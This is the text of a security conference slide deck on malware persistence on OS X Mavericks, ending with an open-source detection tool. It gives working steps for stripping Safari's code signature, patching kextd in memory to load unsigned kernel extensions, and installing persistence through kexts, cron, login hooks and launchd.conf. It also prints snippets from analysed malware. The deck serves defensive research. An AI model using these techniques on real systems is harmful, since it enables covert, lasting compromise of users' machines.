Synack

METHODS of MALWARE PERSISTENCE

...on OS X Mavericks

@patrickwardle

PATRICK WARDLE

Synack: director of R&D

NASA: autonomous software dev.

VRL: chief science officer

NSA: [redacted]

AN OUTLINE

THE SHORT: HOW 'BAD CODE' ON OS X PERSISTS

-> MORE COMPREHENSIBLY: A TECHNICAL EXPLORATION OF OS X, MALWARE, & PERSISTENCE

THE MAC BOOT PROCESS

a technical overview of how macs startup

METHODS OF PERSISTENCE

getting code to run every time a mac reboots/user logs in

OS X MALWARE

persistent malware designed for computers running OS X

AUTORUNS, FOR OS X

what programs start automatically on reboot/log in

BACKGROUND

...and why you should care

THE RISE OF MACS

SO MACS ARE PRETTY MUCH EVERYWHERE

-> SURGING DEMAND, IN BOTH THE HOME AND ENTERPRISE

Apple is now the #3 vendor in US PC shipments!

doesn't include iDevices

Macs as % of total US PC sales

MALWARE ON OS X?

BUT MACS DON'T GET MALWARE...RIGHT?

-> "IT DOESN'T GET PC VIRUSES. A MAC ISN'T SUSCEPTIBLE TO THE THOUSANDS OF VIRUSES PLAGUING WINDOWS-BASED COMPUTERS." (APPLE.COM)

1982 Elk Cloner:
First virus, infected
Apple II's

Last year: 33 new OS X malware families,
some infecting Apple, Facebook, and Twitter's
corporate systems.

APPLE'S "RESPONSE"

APPLE HAS CLEARLY SHORED UP THEIR OS

-> AN ACKNOWLEDGMENT (OR CONFIRMATION?) OF AN OS X MALWARE PROBLEM

XProtect

OS X's built-in anti-virus product

Gatekeeper

Verifies software, disallowing unauthorized binaries

Sandboxing

Prevents apps from accessing core/OS level components

Signed Code

Signatures are verified and only signed kexts can be loaded

...SO WE ARE ALL SECURE NOW, RIGHT?! ☺

XPROTECT

XPROTECT IS APPLE'S ANTI-MALWARE SYSTEM

-> THE '90S CALLED, THEY WANT THEIR STATIC SIGNATURE-BASED A.V. PRODUCT BACK

detect based on a hash/filename?!

XProtect.plist

XProtect.plist

XProtect.plist 〉 No Selection

Find worty 0 Done

Key	Type	Value
Root	Array	(38 items)
Item 0	Dictionary	(3 items)
Item 1	Dictionary	(3 items)
Item 2	Dictionary	(3 items)
Item 3	Dictionary	(3 items)
Description	String	OSX.LaoShu.A
LaunchServices	Dictionary	(1 item)
LSItemContentType	String	com.apple.application-bundle
Matches	Array	(1 item)
Item 0	Dictionary	(3 items)
Identity	Data	<2e243393 a4e997d5 3d3d8051 6571a64f 10313116>
MatchFile	Dictionary	(1 item)
NSURLNameKey	String	worty
MatchType	String	Match

malware

hash

match

XProtect's Signature File

DOESN'T DETECT NEW/MODIFIED MALWARE ☹

GATEKEEPER

GATEKEEPER VERIFIES DOWNLOADED SOFTWARE

-> UNVERIFIED BINARIES THAT HAVE BEEN DOWNLOADED MAY ALERT OR BE DENIED EXECUTION

quarantine flag explicitly added

```
//attibutes
$ xattr -l ~/Downloads/googlechrome.dmg
  com.apple.quarantine:0001;534e3038;
  Google Chrome; B8E3DA59-32F6-4580-8AB3...
```

quarantine attributes

...DOES NOTHING TO PREVENT ADVANCED (EXPLOIT-BASED/'DRIVE-BY') ATTACKS ☹

APP SANDBOX

APPS EXECUTE WITHIN A SANDBOX

-> THIS ACTUALLY DOES A SOLID JOB OF PREVENTING APPS FROM ACCESSING EXTERNAL RESOURCES

without app sandbox

with app sandbox

SIGNED APPS

THE OS (MACH-O) LOADER VERIFIES ALL SIGNATURES

->THIS ALLOWS APPS TO BE VERIFIED AND PREVENTS MALICIOUS MODIFICATIONS (INFECTIONS)

infecting safari

killed by the loader!

```
Process:         Safari [1599]
Path:            /Applications/Safari.app/Contents/MacOS/Safari

Crashed Thread:  0

Exception Type:  EXC_CRASH (Code Signature Invalid)
Exception Codes: 0x0000000000000000, 0x0000000000000000
```

reason

invalid signature 'crash'

(un)SIGNED APPS

OK, BUT CAN SIGNED APPS REALLY BE PROTECTED?

-> THE CRYPTO SEEMS SOLID...BUT WHAT IF IT WASN'T THERE ANYMORE?

code signature

Safari

RAW | RVA

- Executable (X86_64)
  - Mach64 Header
  - Load Commands
    - LC_CODE_SIGNATURE
    - LC_SEGMENT_64 (__TEXT)

Offset	Data	Description	Value
00000548	0000001D	Command	LC_CODE_SIGNATURE
0000054C	00000010	Command Size	16
00000550	00002120	Data Offset	8480
00000554	000017B0	Data Size	6064

unsign/infect

```
# md5 Safari.app/Contents/MacOS/Safari -> 633d043cf9742d6f0787acdee742c10d

# unsign.py Safari.app/Contents/MacOS/Safari
  Safari code signature removed

# md5 Safari.app/Contents/MacOS/Safari -> 825edd6a1e3aefa98d7cf99a60bac409

$ open Safari.app/Contents/MacOS/Safari

$ ps aux | grep Safari
patrick  15099  /Applications/Safari.app/Contents/MacOS/Safari
```

:)

SIGNED KEXTS

STARTING ON OS X MAVERICKS, KEXTS MUST BE SIGNED

-> SIMILAR TO WINDOWS, THIS AIMS TO PREVENT UNAUTHORIZED CODE FROM BEING LOADED INTO RING-0

attempting to load an unsigned kext

(un)SIGNED KEXTS

BUT I REALLY WANT MY UNSIGNED KEXT TO LOAD!

-> LET'S ABUSE A DESIGN FLAW (SEE: HTTP://REVERSE.PUT.AS/ FOR MORE DETAILS).

kextd_request.c

```
//check signature
sigResult = checkKextSignature(theKext);

//invalid signature?
if(sigResult != 0)
{
  //error msg
  OSKextLogCFString("ERROR: \
    invalid signature, will not load");

  //bail
  goto finish;
}

//load kext
OSKextLoadWithOptions(theKext);
```

user mode signature verification

```
# lldb -p <pid of kextd>

(lldb) disassemble -start-address <addr>
       0x10087c0df:  mov   %eax, %ebx
       …
       0x10087c0ef:  ret

(lldb) memory write -s 2 <addr> 0xc031

(lldb) disassemble -start-address <addr>
       0x10087c0df:  xorl   %eax, %eax
       …
       0x10087c0ef:  ret


sh-3.2# kextload unsigned.kext

sh-3.2# kextstat | grep -i unsigned
0xffffff7f81bb0000 com.synack.unsigned
```

patch/unsigned kext loading

(un)SIGNED KEXTS

BUT I REALLY WANT MY UNSIGNED KEXT TO LOAD (AGAIN)!

-> IN-MEMORY PATCHING IS A PAIN, THERE'S GOTTA BE SIMPLER WAY

direct load == bypasses check

```
//unload kext daemon
# launchctl unload /System/Library/LaunchDaemons/com.apple.kextd.plist

//try to load (unsigned) driver
# kextload -v unsigned.kext
 Can't contact kextd; attempting to load directly into kernel

//profit :)
# kextstat | grep -i unsigned
  378  0  0xffffff7f82877000 0x2000  0x2000 com.synack.unsigned (1) <4>
```

unsigned kext loading

THE CURRENT SITUATION

LOTS OF MACS

+

FEEBLE ANTI-MALWARE PROTECTIONS

+

OS X MALWARE

+

LIMITED OS X MALWARE ANALYSIS TOOLS

BY GAINING A SOLID UNDERSTANDING OF THE MAC BOOT PROCESS AND HOW IT MAY BE TARGETED BY PERSISTENT MALWARE, WE CAN (BETTER) PROTECT OURSELVES.

....A NEW ANALYSIS TOOL WILL HELP US TOO!

Synack

MAC SYSTEM STARTUP

...from power on, to the desktop

THE PROCESS

LET'S DIVE IN!

-> "THE BOOT [OR STARTUP] PROCESS IS A LONG AND ARDUOUS FLOW"

Power On/Boot

pre-OS execution

Kernel

load the OS's core

launchd

load daemon & agents

loginwindow

auth the user

JONATHAN LEVIN
MAC OS X AND IOS INTERNALS: TO THE APPLE'S CORE

POWER ON/BOOT

EARLY STARTUP

-> BOOTING: FROM POWER ON UNTIL THE CPU BEGINS EXECUTING THE KERNEL (OS X)

BOOTROM

BOOTROM: AKA 'FIRMWARE'

-> COMPOSED OF THE P.O.S.T (POWER-ON SELF TEST) AND A E.F.I. (EXTENSIBLE FIRMWARE INTERFACE), THE BOOTROM VERIFIES MEMORY, INITIALIZES SYSTEM HARDWARE, AND SELECTS THE OS PARTITION

BootROM version

MacBook Pro

- Hardware
  - ATA
  - Audio
  - Bluetooth
  - Camera
  - Card Reader
  - Diagnostics
  - Disc Burning
  - Ethernet Cards
  - Fibre Channel
  - FireWire
- Hardware

Hardware Overview:

Model Name:	MacBook Pro
Model Identifier:	MacBookPro11,3
Processor Name:	Intel Core i7
Processor Speed:	2.3 GHz
Number of Processors:	1
Total Number of Cores:	4
L2 Cache (per Core):	256 KB
L3 Cache:	6 MB
Memory:	16 GB
Boot ROM Version:	MBP112.0138.B02
SMC Version (system):	2.19f3

BOOT.EFI: LOAD UP THE KERNEL

-> ONCE THE BOOTROM IS FINISHED, CONTROL IS PASSED TO **BOOT.EFI** ON THE SELECTED PARTITION

.efi binaries are PE files

```
# hexdump -C /System/Library/CoreServices/boot.efi

00000000  ...  |MZ..............|
00000010  ...  |........@.......|
00000020  ...  |................|
00000030  ...  |................|
00000040  ...  |........!..L.!Th|
00000050  ...  |is program canno|
00000060  ...  |t be run in DOS |
00000070  ...  |mode....$.......|
00000080  ...  |PE..d...:..R....|
```

→ init device tree

→ locate the kernel

→ load boot kexts

→ jump to kernel

BOOTING OS X

BOOTING OS X: FROM THE KERNEL TO THE DESKTOP

-> KERNEL, LAUNCHD, AND FINALLY LOGGING IN

BOOTING THE KERNEL

THE KERNEL (XNU)

-> THE KERNEL MUST INITIALIZE ITS VARIOUS SUBSYSTEMS, BEFORE KICKING OFF THE USER MODE PORTION OF THE OS

init mach components

init IOKit (load kexts for devices)

init BSD subsystems
kick off **launchd**

```
//path to launchd
static char init_program_name[128] = "/sbin/launchd";

//kick off launchd
void load_init_program(proc_t p)
{
   //copies 'init_program_name' into 'init_exec_args'

   ...

   //launch it
   execve(p, &init_exec_args, retval);
}
```

spawning launchd

LAUNCHD

LAUNCHD IS BASICALLY LINUX'S INIT

-> AS THE FIRST PROGRAM TO LAUNCH, IT BOOTS THE USER COMPONENT OF THE SYSTEM, THEN MAINTAINS IT

ancestor of all other processes

```
# ps -p 1

PID TTY   CMD
1   ??    /sbin/launchd
```

→ launch all daemons

→ launch all agents (after login)

→ restart/maintain as needed

LOGINWINDOW

LOGINWINOW: THE LOGIN GUI

-> AUTHENTICATES THE USER, SETS UP THE ENVIRONMENT, THEN MANAGES THE SESSION

authenticates the user
(via OpenDirectory)

sets up the user's
environment/preferences

manages user's session
(logout/restart/shutdown)

METHODS of PERSISTENCE

...where malware may live

'LOW LEVEL'

THE BOOT PROCESS AFFORDS SEVERAL OPPORTUNITIES

-> OFTEN HIGHLY COMPLEX, THOUGH VERY INSIDIOUS AND DIFFICULT TO DETECT

infecting the boot process

- re-flash the bootROM?
- install malicious EFI components?
- replace/patch the **boot.efi**?

GO READ: 'MAC EFI ROOTKITS' BY LOUKAS K (SNARE)

KERNEL EXTENSIONS

KERNEL EXTENSIONS ARE LOADED AUTOMATICALLY (RING-0)

-> AN IDEAL SPOT FOR ADVANCED OS X MALWARE TO PERSIST

create a KEXT (in XCODE)

copy to KEXT directory

set ownership to root

rebuild kernel cache

also: /System/Library/Extensions

```
# cp -R persist.kext /Library/Extensions

# chown -R root:wheel /Library/Extensions/persist.kext

# kextcache -system-prelinked-kernel
# kextcache -system-caches
```

installing a kext

LAUNCH DAEMONS/AGENTS

LAUNCH DAEMONS & AGENTS SIMILAR TO WINDOWS SERVICES

-> MALWARE WILL OFTEN ABUSE THESE TO GAIN AUTOMATIC REBOOT/LOGIN PERSISTENCE

daemons and agents are all launched by **launchd**

daemons

non interactive, launched pre-login

/System/Library/LaunchDaemons
/Library/LaunchDaemons

agents

interactive, launched post-login

/System/Library/LaunchAgents
/Library/LaunchAgents
~/Library/LaunchAgents

LAUNCH DAEMONS/AGENTS

DAEMONS & AGENTS ARE REGISTERED VIA PROPERTY LISTS

-> THESE PLISTS INSTRUCT LAUNCHD HOW/WHEN TO LOAD THEM

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC ...>
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.example.persist</string>
    <key>ProgramArguments</key>
    <array>
        <string>/path/to/persist</string>
        <string>args?</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>
```

description

binary image

auto launch

daemon/agent plist

CRON JOBS

CRON JOBS CAN USED TO AUTOMATICALLY PERFORM ACTIONS

-> MALWARE WRITERS COMING FROM LINUX BASED BACKGROUNDS LOVE THIS TECHNIQUE

can use @reboot, @daily, etc.

```
$ echo "* * * * * echo \"I'm persisting\""
       > /tmp/persistJob

$ crontab /tmp/persistJob

$ crontab -l
* * * * * echo "I'm persisting"
```

creating/installing a cron job

LOGIN/LOGOUT HOOKS

LOGIN/LOGOUT HOOKS ARE DEPRECATED, BUT STILL WORK

-> ALLOW A SCRIPT TO BE AUTOMATICALLY EXECUTED AT LOGIN AND/OR LOGOUT

```
# defaults write com.apple.loginwindow LoginHook /usr/bin/hook.sh
```

/private/var/root/Library/Preferences/com.apple.loginwindow.plist

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist ...>
<plist version="1.0">
<dict>
     <key>LoginHook</key>
     <string>/usr/bin/hook.sh</string>
</dict>
</plist>
```

script

login hook

LOGIN ITEMS

LOGIN ITEMS ARE THE 'LEGITIMATE' WAY TO PERSIST

-> CAN BE VIEWED IN THE GUI; SYSTEM PREFERENCES -> USERS & GROUPS -> LOGIN ITEMS

~/Library/Preferences/com.apple.loginitems.plist

baseb4 encoded path, etc

```
<dict>
  <key>com.apple.LSSharedFileList.Binding</key>
  <data>
  ZG5pYgAAAAACAAAAAAAAAAAAAAAAAAAAAAAA...
  </data>
  <key>com.apple.LSSharedFileList.ItemIsHidden</key>
  <true/>
  <key>com.apple.loginitem.HideOnLaunch</key>
  <true/>
  <key>Name</key>
  <string>iTunesHelper</string>
</dict>
```

LOGIN ITEMS - SANDBOX'D

SANDBOX'D APPS CANNOT EDIT THE SYSTEM PREFERENCES LIST

-> SO APPLE DESIGNED A NEW MECHANISM...THAT DOESN'T SHOW UP IN ANY GUI

STEP 1

COPY THE APP TO PERSIST INTO:

<MAIN>.APP/CONTENTS/LIBRARY/LOGINITEMS/

STEP 2

IN THE MAIN APP, INVOKE **SMLOGINITEMSETENABLED()** WITH THE IDENTIFIER OF THE APP TO PERSIST

```
/private/var/db/launchd.db/
 ->com.apple.launchd.peruser.501/overrides.plist
```

```
//enable auto launch
SMLoginItemSetEnabled((__bridge CFStringRef)@"com.company.persistMe", YES);
```

RE-OPENED APPS

ON LOGIN, ANY OPENED WINDOWS OR APPS WILL BE RESTORED

-> AN ATTACKER COULD POSSIBLY ABUSE THIS FUNCTIONALITY TO PERSIST MALWARE

```
~/Library/Preferences/ByHost/
 -> com.apple.loginwindow.<hardware UUID>.plist
```

```
<dict>
  <key>TALAppsToRelaunchAtLogin</key>
  <array>
    <dict>
     <key>BundleID</key>
     <string>com.apple.terminal</string>
     <key>Hide</key>
     <false/>
     <key>Path</key>
     <string>/Applications/Utilities/Terminal.app</string>
   </dict>
```

STARTUP ITEMS

'STARTUP ITEMS' ARE DEPRECATED, BUT STILL WORK

-> CAN BE ABUSED TO AUTOMATICALLY EXECUTE A SCRIPT AT EACH REBOOT

```
#!/bin/sh
. /etc/rc.common

StartService()
{
   #anything here
}

RunService "$1"
```

Persistent Script

```
{
  Description = "anything";
  Provides = ("<name>");
}
```

StartupParameters.plist

in either:
/System/Library/StartupItems
/Library/StartupItems

RC.COMMON

'RC SCRIPTS' CAN AUTOMATICALLY PERFORM ACTIONS

-> MALWARE WRITERS COMING FROM LINUX BASED BACKGROUNDS MAY ABUSE THIS TECHNIQUE

how easy is this?

```
# vim /etc/rc.common

...

add any commands (at end)
```

modifying rc.common

LAUNCHD.CONF

LAUNCHD.CONF IS THE CONFIGURATION FILE FOR LAUNCHD

-> CAN BE ABUSED FOR PERSISTENCE, BY INJECTING COMMANDS TO BE EXECUTED BY LAUNCHCTL

file does not exist by default

```
# echo bsexec 1 /bin/bash <anything.script> > /etc/launchd.conf
```

launchd.conf

'bsexec' is a launchctl command that executes other commands... perfect!

MACH-O INFECTION

BINARY INFECTION IS ONE OF THE OLDEST PERSISTENCE TECHNIQUES

-> MACH-O BINARIES CAN BE INFECTED IN A MYRIAD OF WAYS

roy g biv: 'Infecting Mach-O Files'

machO Binary

RAW | RVA

- Load Commands
  - LC_SEGMENT (__PAGEZERO)
  - LC_SEGMENT (__TEXT)
  - LC_SEGMENT (__DATA)
  - LC_SEGMENT (__OBJC)
  - LC_SEGMENT (__LINKEDIT)
  - LC_DYLD_INFO_ONLY
  - LC_SYMTAB
  - LC_DYSYMTAB
  - LC_LOAD_DYLINKER
  - LC_UUID
  - LC_UNIXTHREAD
  - LC_LOAD_DYLIB (Cocoa)
  - LC_LOAD_DYLIB (Carbon)

Offset	Data	Description	Value
00000A00	00000001	Flavor	x86_THREAD_STATE32
00000A04	00000010	Count	16
00000A08	00000000	eax	0
00000A0C	00000000	ebx	0
00000A10	00000000	ecx	0
00000A14	00000000	edx	0
00000A18	00000000	edi	0
00000A1C	00000000	esi	0
00000A20	00000000	ebp	0
00000A24	00000000	esp	0
00000A28	00000000	ss	0
00000A2C	00000000	eflags	0
00000A30	00002124	eip	8484

entry point

mach-O structure

APPLICATION SPECIFIC

PERSISTENCE BY TARGETING APP SPECIFIC LOGIC/FRAMEWORKS

-> FOR EXAMPLE, PLUGINS OR EXTENSIONS ARE OFTEN ABUSED FOR PERSISTENCE

‘evil plugin’ (fG!)

safari

firefox

chrome

iTunes

```
#include <syslog.h>

//automatically invoked when loaded
__attribute__((constructor)) void myConstructor()
{
    //dbg msg
    syslog(LOG_ERR, "loaded in process %d", getpid());

    return;
}
```

constructor

NO LONGER SUPPORTED

APPLE HAS FULLY DEPRECATED/ NOW PREVENTS SEVERAL METHODS

-> MALWARE WRITERS: TIME TO UPDATE YOUR CODE! ;)

old skewl

couldn't get these working on Mavericks

- ~/.MacOSX/environment.plist
- /Library/Preferences/com.apple.SystemLoginItems.plist
- loginwindow 'AutoLaunchedApplicationDictionary'
- DYLD_INSERT_LIBRARIES (signed)

PERSISTENT MALWARE

...careful now ;)

CALL ME

CALLME IS DISTRIBUTED VIA MALICIOUS WORD DOCUMENTS

-> TARGETED, IT PROVIDES THE ABILITY TO UPLOAD/DOWNLOAD FILES AS WELL AS EXECUTE ARBITRARY COMMANDS

fs_usage is like 'fileMon'

```
# fs_usage -w -filesystem | grep OSX_CallMe

open       /library/LaunchDaemons/.dat035f.000
WrData[A]  /library/LaunchDaemons/.dat035f.000
rename     /library/LaunchDaemons/.dat035f.000
            -> /library/LaunchDaemons/realPlayerUpdate.plist
```

```
$ ls /Library/LaunchDaemons/real*
realPlayerUpdate.plist

$ ps aux | grep -i real
root 0:00.06 /Library/Application Support/.realPlayerUpdate
```

malware

launch daemon persistence

FLASHBACK

FLASHBACK EXPLOITS A JAVA BUG TO INFECT 1/2M+ MACS

-> INJECTS ADS INTO USERS' HTTP/HTTPS STREAMS

```
$ less ~/Library/LaunchAgents/com.java.update.plist
<?xml version="1.0" encoding="UTF-8"?>
…
<dict>
  <key>Label</key>
  <string>com.java.update.plist</string>
  <key>ProgramArguments</key>
  <array>
    <string>/Users/user/.jupdate</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
  ...
```

malware's binary

auto run at login

(user) launch agent persistence

CRISIS

CRISIS IS A "ROOTKIT USED BY GOVERNMENTS"

-> DELIVERED THRU TARGETED EXPLOITS, IT COLLECTS AUDIO, IMAGES, SCREENSHOTS, AND KEYSTROKES

IDA pseudo disassembly

method name

```
;build path for malware's launch agent plist

-[RCSMUtils createLaunchAgentPlist:forBinary:]
call   NSHomeDirectory
mov    [esp+0Ch], eax
lea    edx, @"Library/LaunchAgents/com.apple.mdworker.plist"
mov    [esp+10h], edx
lea    edx, "%@/%@"
mov    [esp+8], edx
mov    [esp+4], stringWithFormat_message_refs
mov    [esp], NSString_clsRef
call_objc_msgSend
```

```
[NSString stringWithFormat:@"%@%@",
    NSHomeDirectory(), @"Library/LaunchAgents/com.apple.mdworker.plist"];
```

(user) launch agent persistence

JANICAB

JANICAB IS SIGNED AND WRITTEN IN (COMPILED) PYTHON

-> ABUSING A RIGHT-TO-LEFT OVERRIDE (RLO) TRICK, IT COLLECTS AUDIO AND SCREENSHOTS

janicab's installer.py

```
""" add to crontab """

#add the script to crontab
subprocess.call("echo \"* * * * *
   python ~/.t/runner.pyc \" >>/tmp/dump",shell=True)

#import the new crontab
subprocess.call("crontab /tmp/dump",shell=True)
subprocess.call("rm -f /tmp/dump",shell=True)
```

RLO trick

added cron job

```
$ crontab -l
* * * * * python ~/.t/runner.pyc
```

cron job persistence

KITMOS

KITMOS WAS DISCOVERED ON AN 'AFRICAN ACTIVIST'S MAC'

->IT'S SIGNED, AND TAKES SCREENSHOTS AND UPLOADS THEM TO A REMOTE C&C SERVER

```
;build path for malware's launch agent plist

-[FileBackupAppDelegate checkAutorun]
mov     dword ptr [esp+18h], 0
mov     dword ptr [esp+14h], 0
mov     [esp+10h], ebx
mov     dword ptr [esp+0Ch], 0
mov     dword ptr [esp+8], 0
mov     [esp+4], eax ; _kLSSharedFileListItemLast_ptr
mov     [esp], edi ; _LSSharedFileListCreate
call    LSSharedFileListInsertItemURL
```

user's login items

login item persistence

YONTOO

YONTOO TRICKS USERS BY MASQUERADING AS AN 'HD VIDEO CODEC'

-> IT INSTALLS PLUGINS (EXTENSIONS) FOR SAFARI, CHROME, AND FIREFOX TO INJECT ADS

extracted from IDA disassembly

```
;create paths for malicious plugins

lea   edi, cfstr_InstallingExte  ; "Installing extensions"
lea   ebx, cfstr_Ok              ; "Ok"
...

+[ExtensionsInstaller installSafariExtension:]
"~/Library/Safari/Extensions/Extensions.plist"

+[ExtensionsInstaller installFirefoxExtension:]
"~/Library/Application Support/Mozilla/Extensions"

+[ExtensionsInstaller installChromeExtension:]
"~/Library/Application Support/Google/Chrome/External Extensions"
```

persistence via browser plugins

RENEPO (OPENER)

RENEPO IS AN OLDER SAMPLE, THAT'S WRITTEN AS A SCRIPT

-> DISABLES SECURITY MECHANISMS, AND CAN DOWNLOAD/INSTALL OTHER "HACKER TOOLS" (E.G. PASSWORD CRACKERS)

```
# less OSX_Renepo

scriptpath=`pwd`
scriptfolder=`basename $scriptpath`
scriptname=`basename $0`

mkdir /System/Library/StartupItems/"${scriptname}"
cp "${scriptpath}"/"${scriptname}"
   /System/Library/StartupItems/"${scriptname}"/"${scriptname}"

# The lines below echo out the StartupParameters.plist file.
echo "<plist version=\"0.9\">" >>
  /System/Library/StartupItems/$scriptname/StartupParameters.plist

...
```

startup items persistence

MACPROTECTOR

MACPROTECTOR IS FAKE ("ROGUE") AV PRODUCT

-> LEVERAGES SAFARI'S "OPEN 'SAFE' FILES AFTER DOWNLOADING" TO DOWNLOAD AND BEGIN EXECUTION

~/Library/Preferences/com.apple.loginitems.plist

```
<dict>
  <key>Alias</key>
  <data>
  ZG5pYgAAAAACAAAAAAAAAAAAAAAAAAAAAAAA...
  </data>
  <key>Name</key>
  <string>MacProtector</string>
</dict>
```

base64 encoded path, etc

login item persistence

CLAPZOK

CLAPZOK IS A MULTI-PLATFORM VIRUS

-> INFECTS EXECUTABLE BINARIES BY INSERTING VIRAL CODE, THEN HIJACKING THE ENTRY POINT

from http://reverse.put.as/ (fG!)

i386_infected

RAW | RVA

- Executable (X86)
  - Mach Header
  - Load Commands
    - LC_SEGMENT (__PAGEZERO)
    - LC_SEGMENT (__TEXT)
    - LC_SEGMENT (__DATA)
    - LC_SEGMENT (__OBJC)
    - LC_SEGMENT (__LINKEDIT)
    - LC_DYLD_INFO_ONLY
    - LC_SYMTAB
    - LC_DYSYMTAB
    - LC_LOAD_DYLINKER
    - LC_UUID
    - LC_VERSION_MIN_MACOSX
    - LC_UNIXTHREAD
    - LC_LOAD_DYLIB (Foundation)

Offset	Data	Description	Value
0000001C	00000001	Command	LC_SEGMENT
00000020	00000038	Command Size	56
00000024	5F5F504147455A45524F000…	Segment Name	__PAGEZERO
00000034	00000000	VM Address	0x0
00000038	00001000	VM Size	4096
0000003C	00005000	File Offset	20480
00000040	00000B3A	File Size	2874
00000044	00000005	Maximum VM Protection	
		00000001	VM_PROT_READ
		00000004	VM_PROT_EXECUTE
00000048	00000005	Initial VM Protection	
		00000001	VM_PROT_READ
		00000004	VM_PROT_EXECUTE
0000004C	00000000	Number of Sections	0
00000050	00000000	Flags	

entry point LC

binary infection persistence

KNOCK KNOCK (who's there?)

...'autoruns' for OS X

KNOCK KNOCK'S GOAL & DESIGN

KNOCK KNOCK FINDS STUFF THAT WILL AUTOMATICALLY EXECUTE

-> ITS OPEN-SOURCE, PLUGIN-ORIENTED, DESIGN WILL ENCOURAGE COLLABORATION AND EVOLUTION

KNOCK KNOCK'S PLUGINS

PLUGINS ARE DESIGNED TO SCAN A PARTICULAR TECHNIQUE

-> FOR EXAMPLE, LAUNCH DAEMONS/AGENTS, KERNEL EXTENSIONS, LOGIN ITEMS, ETC

```
#launch daemon directories
LAUNCH_DAEMON_DIRS = ['/System/Library/LaunchDaemons/', '/Library/LaunchDaemons/']

#init results
results['launchAgents'] = []

#get all files in each launch daemon directory
for directory in LAUNCH_DAEMON_DIRS:
  launchItems.extend(glob.glob(directory + '*'))

#iterate over these files (plists)
# ->save the program of those that have ‘RunAtLoad’ set
for item in launchItems:
  plistData = utils.loadPlist(item)

  if plistData['RunAtLoad']:
    results.append(file.File(plistData['ProgramArguments'][0]))
```

launch daemon plugin

KNOCK KNOCK OUTPUT

KNOCK KNOCK IS CURRENTLY COMMAND LINE ONLY

-> EXECUTES ALL PLUGINS, (OR JUST ONE), AND BY DEFAULT WILL IGNORE APPLE-SIGNED BINARIES

```
# python knockknock.py -p launchDandA

who's there?
```

```
# python knockknock.py -p cronjob

who's there?

[cronJobs]
* * * * *  python ~/.t/runner.pyc
```

```
  hash: 544539ea546e88ff462814ba96afef1a

[launchAgents]
Little Snitch Agent
  path: /Library/Little Snitch/Little Snitch Agent.app/Contents…
  hash: 1a4a575ba98acd455bbb0712abee8df7
```

cron jobs (janicab)

launch daemons & agents (callme)

SOME CONCLUSIONS

MACS ARE NOT THAT SECURE

+

=

MAC MALWARE IS A REALITY

...BUT KNOCK KNOCK CAN HELP!

QUESTIONS/ANSWERS

(me) chillin in the 808

www.synack.com

patrick@synack.com

@patrickwardle

github.com/synack/knockknock